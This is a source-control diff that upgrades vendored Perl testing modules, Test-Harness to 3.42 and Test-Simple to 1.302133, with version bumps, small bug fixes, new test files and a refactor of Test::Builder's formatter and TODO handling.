+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Scheduler/Job.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,11 +10,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Scheduler/Spinner.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Scheduler/Spinner.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Scheduler/Spinner.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,11 +10,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Scheduler.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Scheduler.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Scheduler.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,11 +13,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 
@@ -87,7 +87,7 @@
                ],
     }
 
-    # Run some  startup tests in sequence, then some parallel tests than some
+    # Run some  startup tests in sequence, then some parallel tests then some
     # teardown tests in sequence.
     {
         seq => [

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Source.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Source.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Source.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,11 +14,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Executable.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Executable.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Executable.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,11 +16,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/File.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/File.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/File.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,11 +16,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 
@@ -71,7 +71,8 @@
     return 0.9 if $file->{lc_ext} eq '.tap';
 
     if ( my $exts = $config->{extensions} ) {
-        return 0.9 if grep { lc($_) eq $file->{lc_ext} } @$exts;
+        my @exts = ref $exts eq 'ARRAY' ? @$exts : $exts;
+        return 0.9 if grep { lc($_) eq $file->{lc_ext} } @exts;
     }
 
     return 0;

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Handle.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Handle.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Handle.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,11 +16,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Perl.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Perl.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Perl.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -21,11 +21,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/RawTAP.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/RawTAP.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/RawTAP.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,11 +16,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,11 +12,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/YAMLish/Reader.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/YAMLish/Reader.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/YAMLish/Reader.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 use base 'TAP::Object';
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 # TODO:
 #   Handle blessed object syntax
@@ -269,7 +269,7 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/YAMLish/Writer.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/YAMLish/Writer.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/YAMLish/Writer.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 use base 'TAP::Object';
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 my $ESCAPE_CHAR = qr{ [ \x00-\x1f \" ] }x;
 my $ESCAPE_KEY  = qr{ (?: ^\W ) | $ESCAPE_CHAR }x;
@@ -146,7 +146,7 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -27,11 +27,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 my $DEFAULT_TAP_VERSION = 12;
 my $MAX_TAP_VERSION     = 13;

Modified: vendor/perl/dist/cpan/Test-Harness/lib/Test/Harness.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/lib/Test/Harness.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/lib/Test/Harness.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -31,11 +31,11 @@
 
 =head1 VERSION
 
-Version 3.38
+Version 3.42
 
 =cut
 
-our $VERSION = '3.38';
+our $VERSION = '3.42';
 
 # Backwards compatibility for exportable variable names.
 *verbose  = *Verbose;

Added: vendor/perl/dist/cpan/Test-Harness/t/env_opts.t
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/t/env_opts.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Harness/t/env_opts.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,66 @@
+#!/usr/bin/perl
+
+use strict;
+use warnings;
+use Test::More tests => 16;
+
+use TAP::Harness::Env;
+
+sub _has_module {
+    my $module = shift;
+    eval "use $module";
+    return $@ ? 0 : 1;
+}
+
+{
+
+    # Should add a fake home dir? to test the rc stuff..
+    local $ENV{HARNESS_OPTIONS} = 'j4:c';
+
+    ok my $harness = TAP::Harness::Env->create, 'made harness';
+    is( $harness->color, 1, "set color correctly" );
+    is( $harness->jobs,  4, "set jobs correctly" );
+}
+SKIP: {
+    skip "requires TAP::Formatter::HTML", 4
+      unless _has_module('TAP::Formatter::HTML');
+    skip "requires TAP::Formatter::HTML 0.10 or higher", 4
+        unless TAP::Formatter::HTML->VERSION >= .10;
+
+    local $ENV{HARNESS_OPTIONS} = 'j4:c:fTAP-Formatter-HTML';
+
+    ok my $harness = TAP::Harness::Env->create, 'made harness';
+    is( $harness->color, 1, "set color correctly" );
+    is( $harness->jobs,  4, "set jobs correctly" );
+    is( $harness->formatter_class, "TAP::Formatter::HTML",
+        "correct formatter" );
+
+}
+SKIP: {
+    skip "requires TAP::Harness::Archive", 5
+      unless _has_module('TAP::Harness::Archive');
+
+    # Test archive
+    local $ENV{HARNESS_OPTIONS} = 'j4:c:a/archive.tgz';
+
+    ok my $harness = TAP::Harness::Env->create, 'made harness';
+    is( $harness->color, 1, "set color correctly" );
+    is( $harness->jobs,  4, "set jobs correctly" );
+    isa_ok( $harness, "TAP::Harness::Archive", "correct harness subclass" );
+
+    # XXX: this is nasty :(
+    is( $harness->{__archive_file}, "/archive.tgz", "correct archive found" );
+
+}
+
+{
+    local $ENV{HARNESS_TIMER} = 0;
+    ok my $harness = TAP::Harness::Env->create, 'made harness';
+    ok !$harness->timer, 'timer set via HARNESS_TIMER';
+}
+
+{
+    local $ENV{HARNESS_TIMER} = 1;
+    ok my $harness = TAP::Harness::Env->create, 'made harness';
+    ok $harness->timer, 'timer set via HARNESS_TIMER';
+}

Modified: vendor/perl/dist/cpan/Test-Harness/t/iterator_factory.t
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/t/iterator_factory.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/t/iterator_factory.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,7 +10,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 42;
+use Test::More tests => 44;
 
 use IO::File;
 use File::Spec;
@@ -124,6 +124,9 @@
         handler  => 'TAP::Parser::SourceHandler::Handle',
         iterator => 'TAP::Parser::Iterator::Stream',
     },
+    {   file     => 'test.tap',
+        tie      => 1,
+    },
 );
 
 for my $test (@sources) {
@@ -141,10 +144,18 @@
     my $source   = TAP::Parser::Source->new->raw( ref($raw) ? $raw : \$raw );
     my $iterator = eval { $sf->make_iterator($source) };
     my $error    = $@;
-    ok( !$error, "$name: no error on make_iterator" );
-    diag($error) if $error;
 
-    #    isa_ok( $iterator, $test->{iterator}, $name );
+    if( $test->{tie} ) {
+        like(
+            $error, qr{^There is a tie.*Both voted .* on $test->{file}}ms,
+            "$name: votes tied"
+        )
+    }
+    else {
+        ok( !$error, "$name: no error on make_iterator" );
+        diag($error) if $error;
+    }
+
     is( $sf->_last_handler, $test->{handler}, $name );
 }
 

Modified: vendor/perl/dist/cpan/Test-Harness/t/lib/MyFileSourceHandler.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/t/lib/MyFileSourceHandler.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/t/lib/MyFileSourceHandler.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -20,7 +20,7 @@
     my $class = shift;
     $class->SUPER::can_handle(@_);
     $CAN_HANDLE++;
-    return $class;
+    return 1;
 }
 
 sub make_iterator {

Modified: vendor/perl/dist/cpan/Test-Harness/t/nofork-mux.t
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/t/nofork-mux.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/t/nofork-mux.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,4 +8,4 @@
 use warnings;
 
 use NoFork;
-require('t/multiplexer.t');
+require('./t/multiplexer.t');

Modified: vendor/perl/dist/cpan/Test-Harness/t/regression.t
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/t/regression.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Harness/t/regression.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -383,6 +383,85 @@
         wait          => 0,
         version       => 12,
     },
+    space_after_plan_v13 => {
+        results => [
+            {   is_version => TRUE,
+                raw        => 'TAP version 13',
+            },
+            {   is_plan       => TRUE,
+                raw           => '1..5 ',
+                tests_planned => 5,
+                passed        => TRUE,
+                is_ok         => TRUE,
+            },
+            {   actual_passed => TRUE,
+                is_actual_ok  => TRUE,
+                passed        => TRUE,
+                is_ok         => TRUE,
+                is_test       => TRUE,
+                has_skip      => FALSE,
+                has_todo      => FALSE,
+                number        => 1,
+                description   => "",
+            },
+            {   actual_passed => TRUE,
+                is_actual_ok  => TRUE,
+                passed        => TRUE,
+                is_ok         => TRUE,
+                is_test       => TRUE,
+                has_skip      => FALSE,
+                has_todo      => FALSE,
+                number        => 2,
+                description   => "",
+            },
+            {   actual_passed => TRUE,
+                is_actual_ok  => TRUE,
+                passed        => TRUE,
+                is_ok         => TRUE,
+                is_test       => TRUE,
+                has_skip      => FALSE,
+                has_todo      => FALSE,
+                number        => 3,
+                description   => "",
+            },
+            {   actual_passed => TRUE,
+                is_actual_ok  => TRUE,
+                passed        => TRUE,
+                is_ok         => TRUE,
+                is_test       => TRUE,
+                has_skip      => FALSE,
+                has_todo      => FALSE,
+                number        => 4,
+                description   => "",
+            },
+            {   actual_passed => TRUE,
+                is_actual_ok  => TRUE,
+                passed        => TRUE,
+                is_ok         => TRUE,
+                is_test       => TRUE,
+                has_skip      => FALSE,
+                has_todo      => FALSE,
+                number        => 5,
+                description   => "",
+            },
+        ],
+        plan          => '1..5',
+        passed        => [ 1 .. 5 ],
+        actual_passed => [ 1 .. 5 ],
+        failed        => [],
+        actual_failed => [],
+        todo          => [],
+        todo_passed   => [],
+        skipped       => [],
+        good_plan     => TRUE,
+        is_good_plan  => TRUE,
+        tests_planned => 5,
+        tests_run     => 5,
+        parse_errors  => [],
+        'exit'        => 0,
+        wait          => 0,
+        version       => 13,
+    },
     simple_yaml => {
         results => [
             {   is_version => TRUE,

Added: vendor/perl/dist/cpan/Test-Harness/t/rulesfile.t
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/t/rulesfile.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Harness/t/rulesfile.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,97 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+    unshift @INC, 't/lib';
+}
+
+use strict;
+use warnings;
+use TAP::Harness;
+use Test::More;
+use File::Path qw/mkpath rmtree/;
+use File::Spec::Functions qw/catdir catfile rel2abs/;
+
+for my $path (@INC) {
+       $path = rel2abs($path);
+}
+
+if ( eval { require CPAN::Meta::YAML; 1 } ) {
+    plan tests => 4;
+}
+else {
+    plan skip_all => "requires CPAN::Meta::YAML";
+}
+
+# create temp directories long-hand
+# XXX should we add File::Temp as a prereq to do this?
+my $initial_dir = rel2abs(".");
+my $work_dir = catdir($initial_dir, "tmp" . int(rand(2**31)));
+my $t_dir = catdir($work_dir, 't');
+mkpath($t_dir) or die "Could not create $t_dir: $!";
+chdir $work_dir;
+
+# clean up at the end, but only if we didn't skip
+END { if ($initial_dir) {chdir $initial_dir; rmtree($work_dir) } }
+
+# Create test rules in t
+{
+    open my $fh, ">", catfile($t_dir, "testrules.yml");
+    print {$fh} <<'HERE';
+---
+par: t/p*.t
+HERE
+    close $fh;
+}
+
+my $th = TAP::Harness->new;
+my $exp = {
+    par => 't/p*.t'
+};
+is_deeply( $th->rules, $exp, "rules set from t/testrules.yml" );
+
+# Create test rules in dist root
+{
+    open my $fh, ">", catfile($work_dir, "testrules.yml");
+    print {$fh} <<'HERE';
+---
+seq:
+- seq: t/p*.t
+- par: '**'
+HERE
+    close $fh;
+}
+
+$th = TAP::Harness->new;
+$exp = {
+    seq => [
+        { seq => 't/p*.t' },
+        { par => '**' },
+    ],
+};
+is_deeply( $th->rules, $exp, "root testrules.yml overrides t/testrules.yml" );
+
+# Create alternately named file
+my $altrules = catfile($work_dir, "myrules.yml");
+{
+    open my $fh, ">", $altrules;
+    print {$fh} <<'HERE';
+---
+seq: **
+HERE
+    close $fh;
+}
+
+{
+    local $ENV{HARNESS_RULESFILE} = $altrules;
+    $th = TAP::Harness->new;
+    $exp = {
+        seq => '**'
+    };
+    is_deeply( $th->rules, $exp, "HARNESS_RULESFILE overrides testrules.yml" );
+}
+
+$th = TAP::Harness->new( { rulesfile => $altrules} );
+$exp = {
+    seq => '**'
+};
+is_deeply( $th->rules, $exp, "rulesfile param overrides testrules.yml" );

Added: vendor/perl/dist/cpan/Test-Harness/t/sample-tests/space_after_plan_v13
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/t/sample-tests/space_after_plan_v13	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Harness/t/sample-tests/space_after_plan_v13	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,4 @@
+# gforth TAP generates a space after the plan. Should probably be allowed.
+print "TAP version 13\n";
+print "1..5 \n";
+print "ok $_ \n" for 1..5;

Added: vendor/perl/dist/cpan/Test-Harness/t/source_tests/test.tap
===================================================================
--- vendor/perl/dist/cpan/Test-Harness/t/source_tests/test.tap	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Harness/t/source_tests/test.tap	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,8 @@
+#!/usr/bin/perl
+
+# This looks equally like a TAP file and a Perl executable.
+
+print <<'END_TESTS';
+1..1
+ok 1 - source.pl
+END_TESTS

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/Formatter.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/Formatter.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/Formatter.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 BEGIN { require Test2::Formatter::TAP; our @ISA = qw(Test2::Formatter::TAP) }
 
@@ -16,8 +16,6 @@
     *OUT_TODO = sub() { $todo };
 }
 
-__PACKAGE__->register_event('Test::Builder::TodoDiag', 'event_todo_diag');
-
 sub init {
     my $self = shift;
     $self->SUPER::init(@_);
@@ -24,35 +22,36 @@
     $self->{+HANDLES}->[OUT_TODO] = $self->{+HANDLES}->[OUT_STD];
 }
 
-sub event_todo_diag {
-    my $self = shift;
-    my @out = $self->event_diag(@_);
-    $out[0]->[0] = OUT_TODO();
+sub plan_tap {
+    my ($self, $f) = @_;
+
+    return if $self->{+NO_HEADER};
+    return $self->SUPER::plan_tap($f);
+}
+
+sub debug_tap {
+    my ($self, $f, $num) = @_;
+    return if $self->{+NO_DIAG};
+    my @out = $self->SUPER::debug_tap($f, $num);
+    $self->redirect(\@out) if @out && $f->{about}->{package} eq 'Test::Builder::TodoDiag';
     return @out;
 }
 
-sub event_diag {
-    my $self = shift;
+sub info_tap {
+    my ($self, $f) = @_;
     return if $self->{+NO_DIAG};
-    return $self->SUPER::event_diag(@_);
+    my @out = $self->SUPER::info_tap($f);
+    $self->redirect(\@out) if @out && $f->{about}->{package} eq 'Test::Builder::TodoDiag';
+    return @out;
 }
 
-sub event_plan {
-    my $self = shift;
-    return if $self->{+NO_HEADER};
-    return $self->SUPER::event_plan(@_);
+sub redirect {
+    my ($self, $out) = @_;
+    $_->[0] = OUT_TODO for @$out;
 }
 
-sub event_ok_multiline {
-    my $self = shift;
-    my ($out, $space, @extra) = @_;
+sub no_subtest_space { 1 }
 
-    return(
-        [OUT_STD, "$out\n"],
-        map {[OUT_STD, "# $_\n"]} @extra,
-    );
-}
-
 1;
 
 __END__
@@ -73,22 +72,6 @@
 
     use Test::Builder; # Loads Test::Builder::Formatter for you
 
-=head1 METHODS
-
-=over 4
-
-=item $f->event_todo_diag
-
-Additional method used to process L<Test::Builder::TodoDiag> events.
-
-=item $f->event_diag
-
-=item $f->event_plan
-
-These override the parent class methods to do nothing if C<no_header> is set.
-
-=back
-
 =head1 SOURCE
 
 The source code repository for Test2 can be found at
@@ -112,7 +95,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/IO/Scalar.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/IO/Scalar.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/IO/Scalar.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -38,7 +38,7 @@
 use 5.005;
 
 ### The package version, both in 1.23 style *and* usable by MakeMaker:
-$VERSION = "2.113";
+$VERSION = "2.114";
 
 ### Inheritance:
 @ISA = qw(IO::Handle);
@@ -562,6 +562,7 @@
 sub SEEK      { shift->seek(@_); }
 sub TELL      { shift->tell(@_); }
 sub EOF       { shift->eof(@_); }
+sub FILENO    { -1 }
 
 #------------------------------------------------------------
 

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/Module.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/Module.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/Module.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
 require Exporter;
 our @ISA = qw(Exporter);
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 =head1 NAME
@@ -75,6 +75,8 @@
 sub import {
     my($class) = shift;
 
+    Test2::API::test2_load() unless Test2::API::test2_in_preload();
+
     # Don't run all this when loading ourself.
     return 1 if $class eq 'Test::Builder::Module';
 

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/Tester/Color.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/Tester/Color.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/Tester/Color.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 package Test::Builder::Tester::Color;
 
 use strict;
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 require Test::Builder::Tester;
 

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/Tester.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/Tester.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/Tester.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 package Test::Builder::Tester;
 
 use strict;
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 use Test::Builder;
 use Symbol;
@@ -117,7 +117,7 @@
     $original_harness_env = $ENV{HARNESS_ACTIVE} || 0;
     $ENV{HARNESS_ACTIVE} = 0;
 
-    my $hub = $t->{Hub} || Test2::API::test2_stack->top;
+    my $hub = $t->{Hub} || ($t->{Stack} ? $t->{Stack}->top : Test2::API::test2_stack->top);
     $original_formatter = $hub->format;
     unless ($original_formatter && $original_formatter->isa('Test::Builder::Formatter')) {
         my $fmt = Test::Builder::Formatter->new;

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/TodoDiag.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/TodoDiag.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder/TodoDiag.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,12 +2,19 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 BEGIN { require Test2::Event::Diag; our @ISA = qw(Test2::Event::Diag) }
 
 sub diagnostics { 0 }
 
+sub facet_data {
+    my $self = shift;
+    my $out = $self->SUPER::facet_data();
+    $out->{info}->[0]->{debug} = 0;
+    return $out;
+}
+
 1;
 
 __END__
@@ -51,7 +58,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test/Builder.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 BEGIN {
     if( $] < 5.008 ) {
@@ -21,7 +21,7 @@
     warn "Test::Builder was loaded after Test2 initialization, this is not recommended."
         if Test2::API::test2_init_done() || Test2::API::test2_load_done();
 
-    if (USE_THREADS) {
+    if (USE_THREADS && ! Test2::API::test2_ipc_disabled()) {
         require Test2::IPC;
         require Test2::IPC::Driver::Files;
         Test2::IPC::Driver::Files->import;
@@ -42,6 +42,7 @@
 
 sub _add_ts_hooks {
     my $self = shift;
+
     my $hub = $self->{Stack}->top;
 
     # Take a reference to the hash key, we do this to avoid closing over $self
@@ -68,9 +69,16 @@
         # Turn a diag into a todo diag
         return Test::Builder::TodoDiag->new(%$e) if ref($e) eq 'Test2::Event::Diag';
 
+        if ($active_hub == $hub) {
+            $e->set_todo($todo) if $e->can('set_todo');
+            $e->add_amnesty({tag => 'TODO', details => $todo});
+        }
+        else {
+            $e->add_amnesty({tag => 'TODO', details => $todo, inherited => 1});
+        }
+
         # Set todo on ok's
         if ($e->isa('Test2::Event::Ok')) {
-            $e->set_todo($todo);
             $e->set_effective_pass(1);
 
             if (my $result = $e->get_meta(__PACKAGE__)) {
@@ -84,13 +92,27 @@
     }, inherit => 1);
 }
 
+{
+    no warnings;
+    INIT {
+        use warnings;
+        Test2::API::test2_load() unless Test2::API::test2_in_preload();
+    }
+}
+
 sub new {
     my($class) = shift;
     unless($Test) {
-        my $ctx = context();
         $Test = $class->create(singleton => 1);
-        $ctx->release;
 
+        Test2::API::test2_add_callback_post_load(
+            sub {
+                $Test->{Original_Pid} = $$ if !$Test->{Original_Pid} || $Test->{Original_Pid} == 0;
+                $Test->reset(singleton => 1);
+                $Test->_add_ts_hooks;
+            }
+        );
+
         # Non-TB tools normally expect 0 added to the level. $Level is normally 1. So
         # we only want the level to change if $Level != 1.
         # TB->ctx compensates for this later.
@@ -98,7 +120,7 @@
 
         Test2::API::test2_add_callback_exit(sub { $Test->_ending(@_) });
 
-        Test2::API::test2_ipc()->set_no_fatal(1) if USE_THREADS;
+        Test2::API::test2_ipc()->set_no_fatal(1) if Test2::API::test2_has_ipc();
     }
     return $Test;
 }
@@ -117,9 +139,10 @@
             formatter => Test::Builder::Formatter->new,
             ipc       => Test2::API::test2_ipc(),
         );
+
+        $self->reset(%params);
+        $self->_add_ts_hooks;
     }
-    $self->reset(%params);
-    $self->_add_ts_hooks;
 
     return $self;
 }
@@ -143,7 +166,8 @@
     my $chub = $self->{Hub} || $ctx->hub;
     $ctx->release;
 
-    my $parent = $chub->meta(__PACKAGE__, {})->{parent};
+    my $meta = $chub->meta(__PACKAGE__, {});
+    my $parent = $meta->{parent};
 
     return undef unless $parent;
 
@@ -187,7 +211,7 @@
 
     $hub->listen(sub { push @$subevents => $_[1] });
 
-    $hub->set_nested( $parent->isa('Test2::Hub::Subtest') ? $parent->nested + 1 : 1 );
+    $hub->set_nested( $parent->nested + 1 );
 
     my $meta = $hub->meta(__PACKAGE__, {});
     $meta->{Name} = $name;
@@ -197,12 +221,13 @@
     $meta->{Test_Results} = [];
     $meta->{subevents} = $subevents;
     $meta->{subtest_id} = $hub->id;
